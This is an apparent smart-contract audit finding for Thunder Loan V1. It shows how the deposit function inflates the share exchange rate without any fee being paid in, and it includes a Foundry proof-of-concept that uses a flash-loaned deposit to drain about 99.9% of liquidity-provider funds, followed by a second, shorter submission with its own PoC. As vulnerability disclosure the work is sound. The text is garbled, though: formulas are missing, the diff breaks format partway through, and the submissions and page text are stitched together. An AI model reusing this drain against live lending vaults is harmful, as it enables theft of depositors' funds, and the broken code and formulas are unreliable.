Thunder Loan V1 treats every liquidity deposit as if a flash-loan fee had just been paid. ThunderLoan.deposit mints AssetToken shares at the pre-fee exchange rate, then calls AssetToken.updateExchangeRate(getCalculatedFee(token, amount)) without ever transferring that fee into the vault.
updateExchangeRate scales the rate as:
so the aggregate redeem claim becomes (totalSupply + fee) * oldRate / 1e18. The only token movement on the deposit path is safeTransferFrom(..., amount). The fee never arrives.
After any successful deposit with fee > 0, the vault is already insolvent: T.balanceOf(A) < totalSupply * rate / 1e18, while s_currentlyFlashLoaning[T] remains false. There is no deposit-path check that the underlying inventory can cover outstanding claims. redeem only computes amountUnderlying = shares * rate / 1e18 and calls transferUnderlyingTo; it reverts only if the vault cannot pay that caller.
The result is permissionless theft of nearly 100% of existing TVL plus permanent insolvency of earlier LPs. The attack needs no Thunder Loan flash loan — an external flash loan of T is enough. V2 (ThunderLoanUpgraded.deposit) already omits the updateExchangeRate call, so this is a V1-only bug, but the protocol is still on V1 until the owner upgrades.
Liquidity providers deposit underlying T and receive AssetToken shares. Shares redeem at:
The exchange rate is supposed to rise only when a real fee is paid into the vault (the flash-loan path). The V1 deposit path incorrectly applies that same rate update.
mintAmount uses the rate before the fee is applied. The depositor is credited as if they deposited amount of fully-backed underlying.
After the mint, totalSupply already includes the new shares. Multiplying the rate by (totalSupply + fee) / totalSupply increases the entire book of claims by fee * oldRate / 1e18 underlying, including the just-minted shares. No corresponding T is transferred.
getCalculatedFee is the same 0.3%-of-WETH-value fee used for flash loans:
With s_feePrecision = 1e18, s_flashLoanFee = 3e15, and a TSwap price of 1e18 WETH per T (the repo mock, and any live pool with a positive WETH price), fee = amount * 3e15 / 1e18 = 0.003 * amount. As long as the oracle price of T is greater than zero, fee > 0 and newRate > oldRate.
flashloan also calls updateExchangeRate(fee), but it then requires the fee to actually land in the vault:
Deposit has no such check. s_currentlyFlashLoaning[T] is never set during deposit, so repay cannot be used to backfill the missing fee even if someone wanted to. There is also no invariant of the form T.balanceOf(A) >= totalSupply * rate / 1e18.
Whoever redeems while inventory remains is paid in full at the inflated rate. Later redeemers revert when the vault is empty. That is a solvency race, not a safety check.
After LP deposit D at rate 1e18:
vault = D
shares = D
rate = 1e18 * (D + 0.003D) / D = 1.003e18
claim = 1.003D
deficit = 0.003D
The original LP cannot redeem max — the vault is already 0.003D short. An attacker who then deposits X is minted X / 1.003 shares (stale rate), after which the rate is inflated again by fee(X) = 0.003X. Because the attacker now holds almost all of the share supply, redeeming max pays them nearly the entire vault, including the LP's inventory. The extraction is maximized when X ≈ (1e18 / 3e15) * D = 333.333... * D, i.e. the attacker sizes the second deposit so their phantom fee is on the order of existing TVL.
V2 already removed this call:
Until the owner upgrades, V1 remains live and exploitable.
Preconditions: the owner has allowlisted T via setAllowedToken(T, true) (normal listing). AssetToken A is deployed with s_exchangeRate = 1e18 and zero supply. Any unprivileged address can then attack. Thunder Loan's own flashloan is not required; an external flash loan of T is enough to source the second deposit.
Fixture used in the executed Foundry test test_depositInflatesRateWithoutFeeInflow_breaksINV001_andDrainsLp:
ThunderLoan behind ERC1967Proxy, initialize(mockPoolFactory)
s_feePrecision = 1e18, s_flashLoanFee = 3e15
MockTSwapPool.getPriceOfOnePoolTokenInWeth() = 1e18 so fee = amount * 3e15 / 1e18
Deploys A with rate 1e18 and zero supply.
mints 1000e18 shares at rate 1e18
updateExchangeRate(3e18) → rate = 1.003e18
transfers 1000e18 T into A
s_currentlyFlashLoaning[T] == false
vault = 1000e18
claim = 1000e18 * 1.003e18 / 1e18 = 1003e18
deficit = 3e18 exactly
LP.redeem(max) now reverts: the vault cannot cover the inflated claim.
The attacker holds or flash-borrows 333000e18 T (≈ 1e18/3e15 × TVL) and calls:
mints 332003988035892323030907 shares at the stale rate 1.003e18
updateExchangeRate(999e18) inflates the rate again
transfers 333000e18 T
vault = 334000e18
aggregate claim = 335004996999999999872967
burns the attacker's shares
transferUnderlyingTo pays 333998988036035604343967 T
attacker profit = 998988036035604343967 T, taken from LP inventory
leftover vault = 1011963964395656033 against still-outstanding LP shares = 1000e18
LP redeem(max) still reverts
Post-tx2 claim 335004996999999999872967 vs vault 334000e18 matches the executed trace. The attacker returns the flash-borrowed 333000e18 and keeps ~998.99e18 T of profit — essentially the entire original TVL minus a dust remainder that can never satisfy the leftover LP shares.
Even a 1×-TVL second deposit extracts a smaller but still material profit. No privileged role, no Thunder Loan flash loan, and no oracle manipulation beyond the protocol's own TSwap price being positive are required.
High / Critical — direct theft of LP funds and permanent insolvency.
After the first deposit with fee > 0, the vault is already undercollateralized by exactly the phantom fee. Honest LPs cannot withdraw.
A follow-up depositor sizes X ≈ feePrecision / flashLoanFee × TVL (or any large multiple of TVL) and redeems at the inflated rate, extracting nearly 100% of existing TVL. Measured profit on a 1000e18 LP deposit: 998988036035604343967 T (~99.9% of LP inventory).
Remaining LP shares are permanently stuck; leftover dust cannot cover shares * rate / 1e18.
Reachability is permissionless after a normal setAllowedToken listing. Any unprivileged address can execute the drain. An external flash loan of T is sufficient working capital.
Confirmed by an executed differential Foundry test on V1 behind ERC1967Proxy, not proof-only.
This breaks the core LP invariant: deposited underlying plus actually received fees must cover all outstanding redeem claims.
**Remove the fee-rate update from V1 deposit.** Match ThunderLoanUpgraded.deposit: mint shares, transfer amount, do not call updateExchangeRate. The rate should increase only when a real fee is paid on the flash-loan path.
Upgrade immediately. The protocol is UUPS-upgradeable and V2 already contains this fix. Ship the upgrade before further deposits accumulate.
Do not "fix" deposit by charging the fee. Charging depositors a flash-loan fee is not the intended LP model and would still require the fee tokens to actually enter the vault before or atomically with the rate update.
Add a solvency check wherever the rate is updated or shares are redeemed:
Revert (or mint fewer shares / raise the rate less) if the vault cannot cover outstanding claims. updateExchangeRate should only be called with a fee that has already been transferred into A.
If any V1 deposits already occurred, treat the pool as insolvent: pause deposits/redeems, upgrade, then socialize the deficit or compensate LPs from a separate source. Do not leave first-come redeem as the allocation mechanism.
diff --git a/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol b/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol
new file mode 100644
index 0000000..164393f
--- /dev/null
+++ b/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol
@@ -0,0 +1,165 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+import { console } from "forge-std/Test.sol";
+import { BaseTest } from "../unit/BaseTest.t.sol";
+import { AssetToken } from "../../src/protocol/AssetToken.sol";
+
+/*
* PoC: ThunderLoan.deposit mints shares then inflates the exchange rate without fee inflow
*
* Setup (reviewer):
* git checkout 035f6dc903d7ac12c4ccf6d267a09810d3d64ef8
* forge install foundry-rs/forge-std --no-git --shallow
* forge install openzeppelin/openzeppelin-contracts@v4.9.3 --no-git --shallow
* forge install openzeppelin/openzeppelin-contracts-upgradeable@v4.9.3 --no-git --shallow
* forge test --match-test testdepositInflatesRateWithoutFeeInflowbreaksINV001_andDrainsLp -vvv
*
* Attacker model:
* Position: any unprivileged external user (EOA). No owner, no LP role, no flash-loan receiver contract.
* Preconditions: owner has already allowlisted T via setAllowedToken(T, true) (normal listing).
* At least one honest LP has deposited T. Protocol is still on V1 (ThunderLoan.deposit calls
* updateExchangeRate). Mock/live TSwap price of T is > 0 so getCalculatedFee is > 0.
* Inputs the attacker controls: deposit(T, amount) and redeem(T, type(uint256).max).
* Temporary capital ~= feePrecision / flashLoanFee * TVL of T (here 1e18/3e15 * 1000e18 = 333000e18).
* An external flash loan of T is enough; ThunderLoan.flashloan is NOT required.
*
* Root cause:
* ThunderLoan.deposit mints amount * 1e18 / rate shares, then calls
* AssetToken.updateExchangeRate(getCalculatedFee(token, amount)) which sets
* newRate = oldRate * (totalSupply + fee) / totalSupply. Only amount of T is
* transferred into the vault -- the fee never arrives. After any successful deposit
* with fee > 0, T.balanceOf(A) = totalSupply * exchangeRate / 1e18
/// whenever the token is not mid-flash-loan.
function _aggregateRedeemClaim(AssetToken asset) internal view returns (uint256) {
return (asset.totalSupply() * asset.getExchangeRate()) / asset.EXCHANGERATEPRECISION();
}
+
function testdepositInflatesRateWithoutFeeInflowbreaksINV001_andDrainsLp() public {
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
+
// -------------------------------------------------------------------------
// Step 1 — honest LP deposits 1000e18 T
// mint 1000e18 shares at rate 1e18, then updateExchangeRate(3e18) → rate 1.003e18
// transfer 1000e18 T into A. Fee never arrives.
// -------------------------------------------------------------------------
tokenA.mint(liquidityProvider, LP_DEPOSIT);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), LP_DEPOSIT);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
vm.stopPrank();
+
uint256 vaultAfterLp = tokenA.balanceOf(address(asset));
uint256 claimAfterLp = _aggregateRedeemClaim(asset);
uint256 rateAfterLp = asset.getExchangeRate();
+
console.log("=== After LP deposit(T, 1000e18) ===");
console.log("vault T.balanceOf(A) ", vaultAfterLp);
console.log("aggregate redeem claim ", claimAfterLp);
console.log("exchangeRate ", rateAfterLp);
console.log("deficit (claim - vault) ", claimAfterLp - vaultAfterLp);
console.log("currentlyFlashLoaning ", thunderLoan.isCurrentlyFlashLoaning(tokenA));
console.log("LP shares ", asset.balanceOf(liquidityProvider));
+
assertEq(vaultAfterLp, EXPECTEDVAULTAFTER_LP, "vault should hold only the deposited amount");
assertEq(claimAfterLp, EXPECTEDCLAIMAFTER_LP, "claim inflated by unbacked fee");
assertEq(claimAfterLp - vaultAfterLp, EXPECTEDLPFEE, "deficit equals the phantom fee");
assertEq(rateAfterLp, 1.003e18, "rate inflated to 1.003e18");
assertFalse(thunderLoan.isCurrentlyFlashLoaning(tokenA), "deposit must not set flash-loan flag");
assertLt(vaultAfterLp, claimAfterLp, "INV001 already broken after a single deposit");
+
// LP cannot exit: redeem(max) tries to pull 1003e18 from a 1000e18 vault.
vm.prank(liquidityProvider);
vm.expectRevert("ERC20: transfer amount exceeds balance");
thunderLoan.redeem(tokenA, type(uint256).max);
+
// -------------------------------------------------------------------------
// Step 2 — attacker deposits 333000e18 T at the stale inflated rate,
// then immediately redeems max. This extracts almost all of the LP inventory.
// -------------------------------------------------------------------------
uint256 attackerBalBefore = tokenA.balanceOf(attacker);
tokenA.mint(attacker, ATTACKER_DEPOSIT);
+
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), ATTACKER_DEPOSIT);
thunderLoan.deposit(tokenA, ATTACKER_DEPOSIT);
+
uint256 vaultAfterAttackerDeposit = tokenA.balanceOf(address(asset));
uint256 claimAfterAttackerDeposit = _aggregateRedeemClaim(asset);
console.log("=== After attacker deposit(T, 333000e18) ===");
console.log("vault T.balanceOf(A) ", vaultAfterAttackerDeposit);
console.log("aggregate redeem claim ", claimAfterAttackerDeposit);
console.log("attacker shares ", asset.balanceOf(attacker));
+
assertEq(vaultAfterAttackerDeposit, EXPECTEDVAULTAFTERATTACKERDEPOSIT);
assertEq(claimAfterAttackerDeposit, EXPECTEDCLAIMAFTERATTACKERDEPOSIT);
assertLt(vaultAfterAttackerDeposit, claimAfterAttackerDeposit, "INV001 still broken");
+
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
+
uint256 attackerReceived = tokenA.balanceOf(attacker) - attackerBalBefore;
uint256 attackerProfit = attackerReceived - ATTACKER_DEPOSIT;
uint256 leftoverVault = tokenA.balanceOf(address(asset));
uint256 leftoverLpShares = asset.balanceOf(liquidityProvider);
uint256 leftoverClaim = _aggregateRedeemClaim(asset);
+
console.log("=== After attacker redeem(max) ===");
console.log("attacker received ", attackerReceived);
console.log("attacker profit (from LP)", attackerProfit);
console.log("leftover vault ", leftoverVault);
console.log("outstanding LP shares ", leftoverLpShares);
console.log("leftover redeem claim ", leftoverClaim);
+
assertEq(attackerReceived, EXPECTEDATTACKERRECEIVED, "attacker redeemed more T than they deposited");
assertEq(attackerProfit, EXPECTEDATTACKERPROFIT, "profit taken from LP inventory");
assertEq(leftoverVault, EXPECTEDLEFTOVERVAULT, "dust left in vault");
assertEq(leftoverLpShares, LP_DEPOSIT, "LP shares still outstanding");
assertEq(asset.balanceOf(attacker), 0, "attacker fully exited");
assertGt(attackerProfit, 0, "theft of funds");
assertLt(leftoverVault, leftoverClaim, "LP remains insolvent");
+
// Honest LP is still stuck. Their 1000e18 shares cannot be redeemed.
vm.prank(liquidityProvider);
vm.expectRevert("ERC20: transfer amount exceeds balance");
thunderLoan.redeem(tokenA, type(uint256).max);
+
console.log("=== IMPACT ===");
console.log("Theft of funds: attacker extracted nearly 100% of LP TVL.");
console.log("Earlier LPs are permanently insolvent (redeem still reverts).");
}
+}
# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.